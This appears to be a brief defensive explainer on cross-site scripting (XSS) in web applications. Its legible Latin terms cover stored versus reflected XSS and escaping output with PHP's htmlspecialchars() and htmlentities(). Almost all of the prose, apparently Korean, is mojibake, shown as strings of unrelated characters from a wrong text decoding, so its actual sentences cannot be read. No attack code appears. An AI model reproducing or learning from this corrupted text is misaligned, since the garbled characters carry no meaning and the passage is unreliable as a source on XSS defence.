ํฌ๋กœ์Šค์‚ฌ์ดํŠธ ์Šคํฌ๋ฆฝํŠธ ๊ณต๊ฒฉ(XSS, Cross-site Scripting)์€ ์„œ๋ฒ„๊ฐ€ ์ž…๋ ฅ ๊ฐ’์„ ์ œ๋Œ€๋กœ ๊ฒ€์ฆํ•˜๋Š” ์•Š๋Š” ๊ฒฝ์šฐ์— ๋ฐœ์ƒํ•˜๊ฒŒ ๋œ๋‹ค. ํŠนํžˆ Stored XSS์˜ ๊ฒฝ์šฐ ๋ถˆํŠน์ • ๋‹ค์ˆ˜๋ฅผ ๋Œ€์ƒ์œผ๋กœ ์ง€์†์ ์ธ ๊ณต๊ฒฉ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. ๋˜ํ•œ ํŠน์ • ์†Œ์ˆ˜์˜ ๋Œ€์ƒ์— ๋Œ€ํ•œ ํ‘œ์  ๊ณต๊ฒฉ ๋˜ํ•œ ๊ฐ€๋Šฅํ•œ ๋“ฑ, Reflected XSS์— ๋น„ํ•ด์„œ ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์˜ ๊ณต๊ฒฉ ์‹œ๋‚˜๋ฆฌ์˜ค๊ฐ€ ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋งค์šฐ ์œ„ํ—˜ํ•˜๋‹ค.

HTML Entity๋ฅผ ์ ์šฉํ•˜๋ฉด ๊ฑฐ์˜ ๋ชจ๋“  ๊ณต๊ฒฉ์„ ๋ง‰๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

PHP์˜ ๊ฒฝ์šฐ HTML์—์„œ ์ถœ๋ ฅ๋˜๋Š” ๋ชจ๋“  ์ž…๋ ฅ์— ๋Œ€ํ•ด์„œ htmlspecialchars() ํ•จ์ˆ˜๋‚˜ htmlentities() ํ•จ์ˆ˜๋ฅผ ์ ์šฉํ•˜์—ฌ ์ž…๋ ฅ๋˜๋Š” ํŠน์ˆ˜๋ฌธ์ž๋“ค์— ๋Œ€ํ•˜์—ฌ HTML Entity๋ฅผ ์ ์šฉํ•˜์—ฌ ๊ฑฐ์˜ ๋ชจ๋“  ๊ณต๊ฒฉ์„ ์ฐจ๋‹จํ•  ์ˆ˜ ์žˆ๋‹ค.


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜